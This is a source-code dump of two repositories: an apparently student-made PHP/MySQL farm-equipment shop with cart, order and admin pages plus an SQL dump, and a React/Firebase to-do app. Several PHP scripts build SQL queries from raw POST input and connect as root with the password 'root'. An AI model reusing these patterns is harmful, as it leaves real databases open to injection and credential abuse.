document.getElementById('fImg').src = 'imeges/radio/radio1.jpg'
}
else if (document.getElementById('contactChoice2').checked == true)
{
document.getElementById('fImg').src = 'imeges/radio/radio2.jpg'
}
else if (document.getElementById('contactChoice3').checked == true)
{
document.getElementById('fImg').src = 'imeges/radio/radio3.jpg'
}
else if (document.getElementById('contactChoice4').checked == true)
{
document.getElementById('fImg').src = 'imeges/radio/radio4.jpg'
}
else if (document.getElementById('contactChoice5').checked == true)
{
document.getElementById('fImg').src = 'imeges/radio/radio5.jpg'
}
})
function add_favorite(a) {
title=document.title;
url=document.location;
try {
// Internet Explorer
window.external.AddFavorite(url, title);
}
catch (e) {
try {
// Mozilla
window.sidebar.addPanel(title, url, "");
}
catch (e) {
// Opera
if (typeof(opera)=="object") {
a.rel="sidebar";
a.title=title;
a.url=url;
return true;
}
else {
// Unknown
alert('Нажмите Ctrl-D чтобы добавить страницу в закладки');
}
}
}
return false;
}
var op;
function func() {
var result;
var num1 = Number(document.getElementById("num1").value);
var num2 = Number(document.getElementById("num2").value);
switch (op) {
case '+':
result = num1 + num2;
break;
case '-':
result = num1 - num2;
break;
case '*':
result = num1 * num2;
break;
case '/':
if (num2) {
result = num1 / num2;
} else {
result = 'бесконечность';
}
break;
default:
result = 'выберите операцию';
}
document.getElementById("result").innerHTML = result;
}
function Select(value)
{
location = value;
}
function Language(value)
{
location = value;
}
function randQ()
{
let rand = ['Лучше быть последним — первым, чем первым — последним',
'На случай, если буду нужен, то я там же, где и был, когда был не нужен',
'Если волк молчит то лучше его не перебивай',
'Каждый в цирке думает, что знает в цирке, но не каждый, что в цирке знает, что в цирке не каждый знает думает ',
'Легко вставать, когда ты не ложился',
'Кем бы ты ни был, кем бы ты не стал, помни, где ты был и кем ты стал']
let rnd = Math.floor(Math.random() * rand.length)
if(inputText.value != rand[rnd])
{
inputText.value = rand[rnd]
}
}
const form = document.getElementById('form')
let radio_form = document.getElementById('first_input')
let inputType = document.getElementById('second_input')
let phoneForm = document.getElementById('form_phone')
let formName = document.getElementById('nameForm')
let formMail = document.getElementById('form_mail')
let passForm = document.getElementById('passForm')
let passwordas = ''
form.addEventListener('submit', formSend)
async function formSend(e) {
e.preventDefault()
if ( phoneForm.value == '380' || formName.value == '' || formMail.value == '') {
alert('Enter Name or Mail or Phone')
} else {
if (radio_form.checked == true && inputType.value == 12) {
if (phoneForm.type === 'number') {
phoneForm.type = 'text'
let phone = phoneForm.value
phoneForm.type = 'number'
for (let index = 0; index < passForm.value.length; index++) {
passwordas += '•'
}
let resultStrt = 'Name: ' + formName.value + '\n' + ' Password: ' + passwordas + '\n' + ' Email: ' + formMail.value + '\n' + ' Phone: +' + phone + '\n' +' Quetion one: Red' + '\n' + ' Quetion two: ' + inputType.value
document.getElementById('text_form').value = resultStrt
}
} else {
alert('Get answer on quetion!')
}
}
}
<file_sep>/AgroTech/Cart.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="Cart.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js" defer></script>
<script src="http://code.jquery.com/jquery-1.10.2.js%22%3E"defer></script>
<script src="http://code.jquery.com/ui/1.11.2/jquery-ui.js%22%3E"defer></script>
<title>Cart</title>
<!-- Bootstrap CSS -->
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="<KEY>" crossorigin="anonymous">
</head>
<body>
<header class="header">
<h1 class="Cart">Cart</h1>
<div class="container">
<div class="Authorization">
<p class="Name"><b>Enter your (Name, Surname, Fathername)</b></p>
<input id="name" type="text" name="name">
<p class="Phone"><b>Enter your Phone number</b></p>
<input id="phone" type="text" name="phone">
<p class="Phone"><b>Enter your Addres</b></p>
<input id="addres" type="text" name="addres">
<button id="Buy" class="Buy" name="Buy" onclick="cart()">Buy</button>
</div>
<form class="yourOrder">
<table class="table table-bordered">
<thead>
<tr>
<th scope="col">Name</th>
<th scope="col">Amout</th>
<th scope="col">Price</th>
</tr>
</thead>
<tbody>
<tr>
<?php
$conn = new mysqli("localhost", "root", "root", "kursach");
if($conn->connect_error){
die("Error: " . $conn->connect_error);
}
$sql = mysqli_query($conn,"SELECT carts.id, tractor.Name, tractor.Amount, tractor.Price FROM carts LEFT JOIN tractor ON carts.id=tractor.id");
$result = mysqli_fetch_all($sql, MYSQLI_ASSOC);
foreach($result as $row){
?>
<tr>
<td scope="col"><?php echo $row['Name']?></td>
<td scope="col"><input type="number" min="1" max="100" value="1"></td>
<td scope="col"><?php echo $row['Price']?></td>
<td><p style="display: none;"><?php echo $row['id']?></p></td>
</tr>
<?php
}
?>
</tr>
</tbody>
</table>
</form>
</div>
</header>
<script src="Cart.js"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/js/bootstrap.bundle.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
</body>
</html><file_sep>/AgroTech/Cart/cart.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="<KEY>" crossorigin="anonymous">
<script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.9.2/dist/umd/popper.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/js/bootstrap.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
<link rel="stylesheet" href="/style.css">
<link rel="icon" href="/icons/BMW_logo_(gray).svg.png">
<title>Cart</title>
</head>
<body>
<div id="cart-block">
<div id="cartID"class="cart">
<div class="cart-form">
<form id="formID" class="form" action="">
<div>
<label for="inputEmail4" class="label2">Email</label>
<input type="input" class="form-control" id="inputEmail4" placeholder="Email">
<label for="inputAddress" class="label">Address</label>
<input type="text" class="form-control" id="inputAddress" placeholder="1234 Main St">
<label for="inputState" class="label">State</label>
<select id="inputState" class="form-control">
<option selected>Choose</option>
<option>Alabama</option>
<option>Alaska</option>
<option>Arizona</option>
<option>Arkansas</option>
<option>California</option>
<option>Colorado</option>
<option>Connecticut</option>
<option>Delaware</option>
<option>Florida</option>
<option>Georgia</option>
</select>
<label for="inputZip" class="label" >Zip</label>
<input type="text" class="form-control" id="inputZip" placeholder="25032">
<div class="fio-n">
<div class="fio-text">
<label class="label">Name</label>
<label class="fiolabel-last" id="label-last">Last Name</label>
</div>
<div class="fio">
<input type="text" class="form-control" id="name_cart" placeholder="Name">
<input type="text" class="form-control" id="lastname_cart"placeholder="LastName">
</div>
</div>
</div>
<div id="cart-orders"class="cart-orders">
<table class="table">
<thead class="thead-dark">
<tr>
<th scope="col">Name</th>
<th scope="col">Amout</th>
<th scope="col">Price</th>
<th scope="col"></th>
<th scope="col">Total<div id="totalth"></div></th>
</tr>
</thead>
<tbody>
<?php
include_once "config.php";
$sql = mysqli_query($conn, "SELECT cart.ID,storage.Name,storage.Amout,storage.Price FROM cart LEFT JOIN storage ON cart.ID=storage.ID");
$sql_id = mysqli_fetch_assoc($sql);
$sqld_id = $sql_id["ID"];
if($sqld_id == ""){
?>
<script>
let http = "<h1>Cart is empty</h1>"
document.getElementById('cart-orders').innerHTML = http
</script>
<?php
}else{
$sql = mysqli_query($conn, "SELECT cart.ID,storage.Name,storage.Amout,storage.Price FROM cart LEFT JOIN storage ON cart.ID=storage.ID");
$result = mysqli_fetch_all($sql,MYSQLI_ASSOC);
foreach ($result as $key) {
?>
<tr class="display">
<td><?php echo $key['Name']?></td>
<td><input class="value" type="number" min="1" value="1" max="100" id="cartValue"></td>
<td><span><?php echo $key['Price']?></span><a>$</a></td>
<td class="Buttons">
<button id="<?php echo $key['ID']?>" class="buttonIDS">Удалить</button>
<p style="display: none;"><?php echo $key['ID']?></p>
</td>
<td></td>
</tr>
<?php
}
}
?>
</tbody>
</table>
</div>
<div>
<div class="form-buttons">
<button type="button" onclick="location.href='/index.php'" class="btn btn-secondary" id="secondar">Back to store</button>
<button type="button" onclick="cart()" class="btn btn-success" id="buy">Checkout</button>
</div>
</div>
</form>
</div>
</div>
</div>
<script src="/Cart/cart.js"></script>
</body>
</html>
<file_sep>/AgroTech/Send_id.php
<?php
$conn = new mysqli("localhost", "root", "root", "kursach");
if($conn->connect_error){
die("Error: " . $conn->connect_error);
}
$id = $_POST['id_tov'];
$sql = mysqli_query($conn, "INSERT INTO tractor (id) VALUES ('{$id}')");
if(!empty($sql)){
echo "Product add to cart";
}
?><file_sep>/AgroTech/Tractor.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="style.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js" defer></script>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="<KEY>" crossorigin="anonymous">
<title>Tractor</title>
</head>
<body>
<header class="header">
<div id="container" class="container">
<div class="header_inner">
<div class="Agro"><b>AgroTech</b></div>
<nav class="nav">
<ul class="menu">
<li><a class="nav_link" href="News.html">news</a></li>
<li><a class="nav_link" href="About.html">About</a></li>
</ul>
</nav>
<div class="Authorization">
<p><a href="Cart.php"><img src="images/carts.png" width="50px" height="50px" alt=""></a></p>
</div>
</div>
</div>
</header>
<div class="intro">
<div class="container"></div>
</div>
<section class="section">
<div class="Text">
<h2>Tractor</h2>
</div>
<div class="tractor_photo">
<img src="images/Tractor.jpg" alt="">
<table class="table table-bordered">
<thead class="thead-dark">
<tr>
<th scope="col">Name</th>
<th scope="col">Amout</th>
<th scope="col">Price</th>
<th scope="col"></th>
</tr>
</thead>
<tbody>
<?php
$conn = new mysqli("localhost", "root", "root", "kursach");
if($conn->connect_error){
die("Error: " . $conn->connect_error);
}
$sql = "SELECT * FROM tractor";
if($result = $conn->query($sql)){
$rowsCount = $result->num_rows;
foreach($result as $row){
?>
<tr class="display">
<td><?php echo $row['Name']?></td>
<td><?php echo $row['Amount']?></td>
<td><?php echo $row['Price']?>$</td>
<td class="Buttons"><button id="<?php echo $row['id']?>" class="buttonIDS">Go to Cart</button></td>
</tr>
<?php
}
$result->free();
} else{
echo "Error: " . $conn->error;
}
$conn->close();
?>
</tbody>
</table>
</div>
</section>
<script src="script.js" defer></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/js/bootstrap.bundle.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
</body>
</html><file_sep>/AgroTech/kursach.sql
-- phpMyAdmin SQL Dump
-- version 5.0.4
-- https://www.phpmyadmin.net/
--
-- Host: 127.0.0.1:3306
-- Generation Time: Jun 16, 2021 at 12:01 AM
-- Server version: 8.0.19
-- PHP Version: 7.1.33
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;
--
-- Database: `kursach`
--
-- --------------------------------------------------------
--
-- Table structure for table `carts`
--
CREATE TABLE `carts` (
`id` int NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
-- --------------------------------------------------------
--
-- Table structure for table `corn`
--
CREATE TABLE `corn` (
`id` int NOT NULL,
`Name` varchar(30) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,
`Amount` int NOT NULL,
`Price` int NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
-- --------------------------------------------------------
--
-- Table structure for table `harvester`
--
CREATE TABLE `harvester` (
`id` int NOT NULL,
`Name` varchar(30) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,
`Amount` int NOT NULL,
`Price` int NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
--
-- Dumping data for table `harvester`
--
INSERT INTO `harvester` (`id`, `Name`, `Amount`, `Price`) VALUES
(1, 'Claas LEXION 8900', 76, 110000),
(2, 'New Holland TC5.30', 70, 80000),
(3, '<NAME> S700', 100, 150000),
(4, 'Case IH 8250 Axial-Flow', 88, 170000),
(5, 'AGCO Fendt IDEAL 9T', 47, 180000);
-- --------------------------------------------------------
--
-- Table structure for table `order`
--
CREATE TABLE `order` (
`id` int NOT NULL,
`id_goods` int NOT NULL,
`Name` varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,
`Phone Number` int NOT NULL,
`Addres` varchar(30) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,
`Amount` int NOT NULL,
`Check_id` int NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
--
-- Dumping data for table `order`
--
INSERT INTO `order` (`id`, `id_goods`, `Name`, `Phone Number`, `Addres`, `Amount`, `Check_id`) VALUES
(1, 1, 'test', 997324124, 'alolllaa', 1, 1),
(3, 2, 'Лисенко О.О.', 997576146, '1-Травня, 12', 1, 3);
-- --------------------------------------------------------
--
-- Table structure for table `soy`
--
CREATE TABLE `soy` (
`id` int NOT NULL,
`Name` varchar(30) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,
`Amount` int NOT NULL,
`Price` int NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
-- --------------------------------------------------------
--
-- Table structure for table `spares`
--
CREATE TABLE `spares` (
`id` int NOT NULL,
`Name` varchar(30) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,
`Amount` int NOT NULL,
`Price` int NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
--
-- Dumping data for table `spares`
--
INSERT INTO `spares` (`id`, `Name`, `Amount`, `Price`) VALUES
(1, 'Bolt', 1000, 20),
(2, 'female screw', 2000, 15),
(3, 'spanner', 2000, 30);
-- --------------------------------------------------------
--
-- Table structure for table `tractor`
--
CREATE TABLE `tractor` (
`id` int NOT NULL,
`Name` varchar(30) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,
`Amount` int NOT NULL,
`Price` int NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
--
-- Dumping data for table `tractor`
--
INSERT INTO `tractor` (`id`, `Name`, `Amount`, `Price`) VALUES
(1, 'Fendt 1050 Vario', 150, 140000),
(2, 'Fendt 500 Hp', 70, 110000),
(3, 'Fendt 1000 Vario', 100, 170000),
(4, 'Claas Xerion 5000', 106, 186000);
-- --------------------------------------------------------
--
-- Table structure for table `wheat`
--
CREATE TABLE `wheat` (
`id` int NOT NULL,
`Name` varchar(30) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,
`Amount` int NOT NULL,
`Price` int NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
--
-- Indexes for dumped tables
--
--
-- Indexes for table `carts`
--
ALTER TABLE `carts`
ADD PRIMARY KEY (`id`);
--
-- Indexes for table `corn`
--
ALTER TABLE `corn`
ADD PRIMARY KEY (`id`);
--
-- Indexes for table `harvester`
--
ALTER TABLE `harvester`
ADD PRIMARY KEY (`id`);
--
-- Indexes for table `order`
--
ALTER TABLE `order`
ADD PRIMARY KEY (`id`),
ADD KEY `id_goods` (`id_goods`);
--
-- Indexes for table `soy`
--
ALTER TABLE `soy`
ADD PRIMARY KEY (`id`);
--
-- Indexes for table `spares`
--
ALTER TABLE `spares`
ADD PRIMARY KEY (`id`);
--
-- Indexes for table `tractor`
--
ALTER TABLE `tractor`
ADD PRIMARY KEY (`id`);
--
-- Indexes for table `wheat`
--
ALTER TABLE `wheat`
ADD PRIMARY KEY (`id`);
--
-- AUTO_INCREMENT for dumped tables
--
--
-- AUTO_INCREMENT for table `corn`
--
ALTER TABLE `corn`
MODIFY `id` int NOT NULL AUTO_INCREMENT;
--
-- AUTO_INCREMENT for table `harvester`
--
ALTER TABLE `harvester`
MODIFY `id` int NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=6;
--
-- AUTO_INCREMENT for table `order`
--
ALTER TABLE `order`
MODIFY `id` int NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4;
--
-- AUTO_INCREMENT for table `soy`
--
ALTER TABLE `soy`
MODIFY `id` int NOT NULL AUTO_INCREMENT;
--
-- AUTO_INCREMENT for table `spares`
--
ALTER TABLE `spares`
MODIFY `id` int NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4;
--
-- AUTO_INCREMENT for table `tractor`
--
ALTER TABLE `tractor`
MODIFY `id` int NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5;
--
-- AUTO_INCREMENT for table `wheat`
--
ALTER TABLE `wheat`
MODIFY `id` int NOT NULL AUTO_INCREMENT;
COMMIT;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
<file_sep>/AgroTech/Cart/order.php
<?php
include_once "config.php";
$array = $_POST['arrayL'];
$values = $_POST['values'];
$name = $_POST['cName'];
$lastname = $_POST['clastName'];
$email = $_POST['cemail'];
$adress = $_POST['cadress'];
$state = $_POST['cstate'];
$zip = $_POST['czip'];
$str = "";
$sql = mysqli_query($conn,"SELECT * FROM `order`");
$sql_name = mysqli_fetch_assoc($sql);
if(!$sql_name["Name"] == ""){
$sql = mysqli_query($conn,"SELECT `checkId` FROM `order` ORDER BY `checkId` DESC LIMIT 1;");
$checkId = mysqli_fetch_assoc($sql);
$checkedId = intval($checkId["checkId"]);
$checkedId += 1;
}
for ($i=0; $i < count($array); $i++) {
$str = "INSERT INTO `order`(`Name`, `LastName`, `adress`, `state`, `zip`, `GoodID`, `amout`, `checkId`) VALUES ('".$name."','".$lastname."','".$adress."','".$state."',".$zip.",".$array[$i].",".$values[$i].",".$checkedId.");";
mysqli_query($conn,$str);
}
mysqli_query($conn,"TRUNCATE TABLE cart");
?><file_sep>/AgroTech/Admin/admin/admin/admin/providers.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="<KEY>" crossorigin="anonymous">
<script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.9.2/dist/umd/popper.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/js/bootstrap.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
<link rel="stylesheet" href="/Admin/admin.css">
<link rel="icon" href="/icons/BMW_logo_(gray).svg.png">
<title>Providers</title>
</head>
<body class="prov">
<button id="back" type="button" onclick="location.href='/Admin/admin/admin/admin/admin.php'" class="btn btn-lg btn-primary btn-block">Go Back</button>
<h1>Providers</h1>
<table class="table">
<thead class="thead-dark">
<tr>
<th scope="col">ID</th>
<th scope="col">Name</th>
<th scope="col">LastName</th>
<th scope="col">Identificed</th>
</tr>
</thead>
<tbody>
<?php
include_once "config.php";
$sql = mysqli_query($conn, "SELECT * FROM provider");
$result = mysqli_fetch_all($sql,MYSQLI_ASSOC);
foreach ($result as $key) {
?>
<tr>
<td><?php echo $key['ID']?></td>
<td><?php echo $key['Name']?></td>
<td><?php echo $key['LastName']?></td>
<td><?php echo $key['Identificed']?></td>
</tr>
<?php
}
?>
</tbody>
</table>
</body>
</html><file_sep>/AgroTech/Providers/providerData.php
<?php
include_once "config.php";
$fname = mysqli_real_escape_string($conn, $_POST['fname']);
$lname = mysqli_real_escape_string($conn, $_POST['lname']);
$prname = mysqli_real_escape_string($conn, $_POST['prname']);
$amout = mysqli_real_escape_string($conn, $_POST['amout']);
if(!empty($fname) && !empty($lname) && !empty($prname) && !empty($amout)){
$idinte = rand(time(), 1000000000);
$sql = mysqli_query($conn, "INSERT INTO provider (Name,LastName,Identificed) VALUES ('{$fname}','{$lname}','{$idinte}')");
$sql2 = mysqli_query($conn, "SELECT ID FROM provider WHERE Identificed = '{$idinte}'");
$prov_id = mysqli_fetch_assoc($sql2);
$provider_id = $prov_id["ID"];
$sql3 = mysqli_query($conn, "INSERT INTO spares (Name,Amout,provider_id) VALUES ('{$prname}','{$amout}',$provider_id)");
$sql4 = mysqli_query($conn, "UPDATE `storage` SET `Amout` = `Amout` + ".$amout." WHERE `Name`='".$fname."'");
if(!empty($sql)){
echo "Data Send";
}
}else{
echo "Enter data!";
}
?>
<file_sep>/AgroTech/script.js
$(".buttonIDS").on('click', function(event){
let id = this.id
$.ajax({
url: "AddToCart.php",
type: 'post',
data: { id_tov: id },
success: function( data ) {
alert(data);
}
});
});<file_sep>/AgroTech/test.php
<?php
include_once "config.php";
$id = $_POST['id_tov'];
$sql = mysqli_query($conn, "INSERT INTO cart (ID) VALUES ('{$id}')");
if(!empty($sql)){
echo "Add to cart";
}
?>
|
22fb9da77ff588c1a88c97c48fdc8301c8316436
|
[
"JavaScript",
"SQL",
"PHP"
] | 15
|
PHP
|
Lusenko/Web_app
|
3b1928a6d64afd5f5a372062c622469b3dd67755
|
50e78e04dd6af94b4677fa213484518bfdee57c3
|
refs/heads/master
|
<file_sep>// Using Promises
define(function(require) {
var $ = require("jquery");
var Q = require("q");
return function(){
// Create a deferred Promise
var deferred = Q.defer();
// Start the ajax call
$.ajax({
url: "https://radiant-fire-6211.firebaseio.com/.json"
})
.done(function(songs_data) {
deferred.resolve(songs_data);
console.log("songs_data", songs_data);
})
.fail(function(xhr, status, error) {
deferred.reject(error);
});
// Return the promise
return deferred.promise;
};
});<file_sep>define(function(require){
// Empty Array for unique
var allSongsArray = [];
for (var key in songs.songs) {
allSongsArray[allSongsArray.length] = songs.songs[key];
}
console.log("allSongsArray in fill-album-menu.js", allSongsArray);
var uniqueArtist =_.chain(allSongsArray)
.uniq("artist")
.pluck("artist")
.value();
var uniqueAlbum =_.chain(allSongsArray)
.uniq("album")
.pluck("album")
.value();
console.log("uniqueArtist", uniqueArtist);
console.log("uniqueAlbum", uniqueAlbum);
// Artist Menu Populate
function displayArtists() {
require(['hbs!../templates/artist_menu'],
function(artistTemplate){
$(".artistMenu").html(artistTemplate({artist: uniqueArtist}));
});
}
$(".artistBtn").click(function(){
displayArtists();
$(".albumMenu").removeClass("disabled");
});
});<file_sep>// **************** Music History 5 *******************
requirejs.config({
baseUrl: './javascripts',
paths: {
'jquery': '../lib/bower_components/jquery/dist/jquery.min',
'firebase': '../lib/bower_components/firebase/firebase',
'lodash': '../lib/bower_components/lodash/lodash',
'hbs': '../lib/bower_components/require-handlebars-plugin/hbs',
'bootstrap': '../lib/bower_components/bootstrap/dist/js/bootstrap.min',
'q': '../lib/bower_components/q/q',
"es6": '../lib/bower_components/requirejs-babel/es6',
"requirejs-babel": '../lib/bower_components/requirejs-babel/babel-5.8.22.min'
},
shim: {
'bootstrap': ['jquery'],
'firebase': {
exports: 'Firebase'
}
}
});
requirejs(["dependencies", "firebase", "authentication", "populate-songs"],
function (dependencies, firebase, authentication, popSongs) {
var myFirebaseRef = new Firebase("https://radiant-fire-6211.firebaseio.com");
myFirebaseRef.on("value", function(snapshot) {
var songs = snapshot.val();
console.log("music.js songs", songs);
displaySongs(songs);
// Detect if already logged in
var ref = new Firebase("https://radiant-fire-6211.firebaseio.com");
var authData = ref.getAuth();
console.log("authData", authData);
//if there is no token key on the authData object, authenticate with GitHub OAuth
if(authData === null) {
ref.authWithOAuthPopup("github", function(error, authData) {
if (error) {
console.log("Login Failed!", error);
} else {
console.log("Authenticated successfully with payload:", authData);
auth.setUid(authData.uid);
//require(["core_list"], function(){}) --- create a new file to hold all info so page will not load until authenticated
}
});
// user already authenticated, store uid and show data
} else {
auth.setUid(authData.uid);
//require(["core_list"], function(){}) --- create a new file to hold all info so page will not load until authenticated
}
// $(".list-group").html("<h3>Select an Artist</h3>");
// Display songs from filter
function displaySongs() {
require(['hbs!../templates/songs'],
function(songTemplate){
$(".list-group").html(songTemplate(songs));
});
}
});
// Using Promises
var list_of_songs = popSongs();
var all_songs = [];
console.log("all_songs", all_songs);
list_of_songs
.then(function(list_songs){
console.log("list_songs before loop", list_songs);
for (var i = 0; i <= list_songs.length; i++) {
console.log("list_songs after loop", list_songs[i].songs);
all_songs.push(list_songs[i].songs);
}
return list_of_songs;
})
.fail()
.done();
}); //****** Keep me on the outside<file_sep>// requirejs.config({
// baseUrl: './javascripts',
// paths: {
// 'jquery': '../bower_components/jquery/dist/jquery.min',
// 'firebase': '../bower_components/firebase/firebase',
// 'lodash': '../bower_components/lodash/lodash',
// 'hbs': '../bower_components/require-handlebars-plugin/hbs',
// 'bootstrap': '../bower_components/bootstrap/dist/js/bootstrap.min',
// 'q': '../bower_components/q/q'
// },
// shim: {
// 'bootstrap': ['jquery'],
// 'firebase': {
// exports: 'Firebase'
// }
// }
// });
// requirejs(
// ["jquery", "lodash", "firebase", "hbs", "bootstrap", "get-more-songs", "populate-songs", "authentication"],
// function ($, _, _firebase, Handlebars, bootstrap, popSongs, getMoreSongs, auth) {
// var myFirebaseRef = new Firebase("https://radiant-fire-6211.firebaseio.com");
// // Submit button to add music
// $(".subBtn").click(function(){
// event.preventDefault();
// var newSong = {
// "name": $("#inputSongName").val(),
// "artist": $("#inputArtist").val(),
// "album": $("#inputAlbum").val(),
// "uid": auth.getUid()
// };
// console.log("newSong", newSong);
// $.ajax({
// url: "https://radiant-fire-6211.firebaseio.com/songs.json",
// method: "POST",
// data: JSON.stringify(newSong)
// }).done(function(addedSong) {
// console.log(addedSong);
// });
// });
// });<file_sep>define(function(require){
var bootstrap = require("bootstrap");
var hbs = require("hbs");
var _ = require("lodash");
var popSongs = require("populate-songs");
var auth = require("authentication");
});
|
4c04dbf19c19be5a133620834ebb8acda70b4eb7
|
[
"JavaScript"
] | 5
|
JavaScript
|
rachyllmorgan/music-history-5
|
71b9f70456a8e94761992467fe478eb47917168c
|
b46cb72c4855abcb5b47ffae483c339bbf09a70b
|
refs/heads/master
|
<repo_name>simvol/react-redux-firebase<file_sep>/src/actions/todoActions.js
import { FETCH_TODOS } from './types';
import { todosRef } from '../config/firebase';
export const fetchTodos = () => async dispatch => {
todosRef.onSnapshot(todosSnapshot => {
const todos = todosSnapshot.docs.map(todoSnapshot => ({
...todoSnapshot.data(),
id: todoSnapshot.id
})
);
dispatch({
type: FETCH_TODOS,
payload: todos
})
})
};
export const addTodo = task => async dispatch => {
todosRef.add({
task,
completed: false
});
};
export const toggleTodo = todo => async dispatch => {
todosRef.doc(todo.id).set({
...todo,
completed: !todo.completed
});
};
export const removeTodo = id => async dispatch => {
todosRef.doc(id).delete();
};<file_sep>/src/config/firebase.js
import * as firebase from 'firebase';
import { FirebaseConfig } from './keys';
const app = firebase.initializeApp(FirebaseConfig);
// realtime database
// export const databaseRef = firebase.database().ref();
// export const todosRef = databaseRef.child('todos');
// firestore
const firestore = firebase.firestore(app);
firestore.settings({ timestampsInSnapshots: true });
export const todosRef = firestore.collection('todos');
<file_sep>/src/components/TodoList.js
import React, { Component } from 'react'
import {connect} from 'react-redux';
import {fetchTodos, toggleTodo, removeTodo} from '../actions/todoActions';
class TodoList extends Component {
state = {
todos: []
};
static getDerivedStateFromProps(props, state) {
const { todos } = props;
if (todos) {
return { todos: todos };
}
return null;
}
componentDidMount() {
this.props.fetchTodos();
}
onComplete = todo => {
this.props.toggleTodo(todo);
}
onDelete = id => {
this.props.removeTodo(id);
}
render () {
const { todos } = this.state;
if (todos){
return (
<ul>
{todos.map(todo => {
const todoStyle = todo.completed === true ? {textDecoration: 'line-through'} : {};
return (<li key={todo.id}>
<span style={todoStyle}>{todo.task}</span>
<button onClick={this.onComplete.bind(this, todo)}>complete</button>
<button onClick={this.onDelete.bind(this, todo.id)}>delete</button>
</li>);
}
)}
</ul>
);
} else {
return (
<div>Loading...</div>
)
}
};
};
const mapStateToProps = state => ({
todos: state.todo.todos
});
const mapDispatchToProps = dispatch => ({
fetchTodos: () => dispatch(fetchTodos()),
toggleTodo: id => dispatch(toggleTodo(id)),
removeTodo: id => dispatch(removeTodo(id))
});
export default connect(
mapStateToProps,
mapDispatchToProps
)(TodoList);
|
8b08500e328dfc57b1860cddee19fe45e0d823b6
|
[
"JavaScript"
